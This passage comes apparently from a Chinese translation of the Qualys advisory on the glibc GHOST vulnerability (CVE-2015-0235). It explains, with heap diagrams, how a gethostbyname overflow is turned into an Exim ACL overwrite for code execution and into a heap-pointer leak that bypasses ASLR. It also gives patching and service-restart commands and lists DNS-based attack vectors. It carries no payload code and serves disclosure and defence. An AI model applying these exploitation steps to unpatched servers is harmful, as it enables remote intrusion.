最后,我们用这个随意写的漏洞来覆盖Exim的运行时配置,这个配置是存在堆中的。确切地说,我们覆盖Exim的访问控制列表(ACL),并实现任意代码执行。这要感谢Exim的 "${run{ }}" 字符串扩展机制。

  1.                                                      |< storeblock 
  2.                                                      |  
  3. -----|-------------------------------|---------------|-------------------|-----  
  4.  ... | Exim's run-time configuration | ... .. .. ... |n|l| current_block | ...  
  5. -----|----x--------------------------|---------------|x------------------|-----  
  6.           |                                           |  
  7.           '<------------------------------------------'  
  8.                       hijacked next pointer  
  9.    
  10.    
  11.    
  12.    
  13.    
  14. #!cpp  
  15.                 |< ACLs >|  
  16. -----|----+-----+--------+------+----|---------------|-------------------|-----  
  17.  ... | Exim's run-time configuration | ... .. .. ... | old current_block | ...  
  18. -----|----+-----+--------+------+----|---------------|-------------------|-----  
  19.           |      XXXXXXXX       |  
  20.           |<------------------->|  
  21.              new current_block 

5.2 信息泄露

成功利用这个漏洞需要一个重要的信息:Exim的堆上运行时配置。在本节中,我们将介绍如何获得这个地址,绕过 ASLR(地址空间布局随机化)和PIE(位置无关可执行文件)的保护。

首先,我们溢出的gethostbyname的基于堆的缓冲区,部分覆盖内存中下一个相邻空闲块的“大小”字段,使之具有更大的尺寸:

  1.                             |< malloc_chunk 
  2.                             |  
  3. -----|----------------------|---+-------------------------|-----  
  4.  ... | gethostbyname buffer |p|s|f|b|F|B| next free chunk | ...  
  5. -----|----------------------|---+-------------------------|-----  
  6.      |                         X|  
  7.      |------------------------->|  
  8.                overflow 

人工扩大的这篇内存会覆盖另一块内存,也即Exim保存错误信息“503 sender not yet given \r\n”的地方。

  1.                             |< malloc_chunk 
  2.                             |  
  3. -----|----------------------|-----------------------------|----------+----|-----  
  4.  ... | gethostbyname buffer |p|s|f|b|F|B| real free chunk | error message | ...  
  5. -----|----------------------|-----------------------------|----------+----|-----  
  6.                             |                                        |  
  7.                             |<-------------------------------------->|  
  8.                                  artificially enlarged free chunk 

然后,我们分配这个大小已经被修改的空闲块,由此将它分为两份:新分配块和一个小一些的空闲块(分割之后余下的部分)。剩余的空闲块malloc_chunk header部分用指向堆的指针(fd_nextsize指针)覆盖保存错误信息的内存的最开始几个字节。

  1.                             |< malloc_chunk       |< malloc_chunk 
  2.                             |                     |  
  3. -----|----------------------|---------------------+-------|----------+----|-----  
  4.  ... | gethostbyname buffer |p|s|f|b|F|B| aaaaaaa |p|s|f|b|F|B| r message | ...  
  5. -----|----------------------|---------------------+-------|----------+----|-----  
  6.                             |                     |        X         |  
  7.                             |<------------------->|<---------------->|  
  8.                                 allocated chunk        free chunk 

最后,我们发送一个无效的SMTP指令,然后从Exim SMTP的响应信息中获取fd_nextsize堆指针,当然也包含损坏的错误信息。浙将有效的把gethostbyname的缓冲区溢出转换为信息泄露。还有,他也可以让我们区分服务器是32还是64位的机器。

0x06 致谢

我们要感谢OpenWall项目的Alexander Peslyak帮助以发现披露这个漏洞。

0x07 修复 CVE-2015-0235

就像最近的OpenSSL心脏滴血漏洞,这个问题要修复起来也很烦人。更新是在glibc包中,但是这个库会被很多运行中的服务使用。在更新之后,每个服务都要重启一下。

要找到所有依赖glibc的服务,请使用如下命令,它会显示所有打开的文件(lsof),然后找到引用glibc库的文件。

  1. $ lsof | grep libc | awk '{print $1}' | sort | uniq 

RHEL/CentOS目前没有补丁,红帽发布了CVE信息(https://access.redhat.com/security/cve/CVE-2015-0235),你可以在这个页面跟踪一下修复进度。

CentOS也正在处理这个事情,处理完之后会发布到它的镜像上。

Debian和Ubuntu已经有更新了,你可以直接更新它们。

当你使用的发行版有更新的时候请立即更新。

CentOS, Red Hat, Fedora, Scientific Linux, ...:

  1. $ yum clean all && yum update 

Debian, Ubuntu 和其他的派生产品:

  1. $ apt-get clean && apt-get update && apt-get upgrade 

最后,重启所有你上面用lsof找到的服务。当然最简单的是直接重启你的服务器,因为实在有很多东西依赖glibc,绕过你无法重启服务器,至少把面向公共的重要服务比如web服务器,mail服务器重启。

直到所有的发行版都打上补丁之前,这个漏洞就是一个等待游戏。直到那时为止,DNS都是一个潜在的安全隐患。

0x08 可能的攻击手段

服务器上gethostbyname() 应该是用的最多的了。许多DNS解析服务都可能会和这个CVE有关,唯一一点是,你需要控制DNS解析的东西才行。

这意味着可能有这些:

·邮件服务器连接IP时,使用的DNS反查(DNS黑名单,SPF检查等等)

·表单提交时,绕过允许用户内容导致一个DNS查询时,比如URL,WordPress的XML-RPC pingback等

·MySQL服务器做基于主机名的认证检查时(以MySQL权限)

·SSH服务器对允许/拒绝规则认证时,使用DNS查询的

·其他

【任何】DNS查询都可能会触发这个漏洞,唯一一个“好事”是漏洞并不会立刻造成提权,你可能还是以同一个用户身份执行命令,但是肯定有其他的各种各样的提权方式。非高权限用户依然可以用你的服务器做DDoS攻击等等。

来自:

http://www.openwall.com/lists/oss-security/2015/01/27/9

http://ma.ttias.be/critical-glibc-update-cve-2015-0235-gethostbyname-calls/

【编辑推荐】

  1. 缓冲区溢出漏洞攻击——Vulnserver上手指南
  2. 理解缓冲区溢出漏洞的利用
  3. 幽灵漏洞(GHOST)影响大量Linux系统及其发行版
【责任编辑:蓝雨泪 TEL:(010)68476606】

点赞 0
分享:
大家都在看
猜你喜欢

读 书 +更多

网管员必读—-网络安全

本书共10章,介绍的内容包括恶意软件(包括病毒、木马和蠕虫等)的深度防御方法,黑客的主要类型和防御方法,企业网络内、外部网络防火墙系...

订阅51CTO邮刊

点击这里查看样刊

订阅51CTO邮刊
× 51CTO学院双十二活动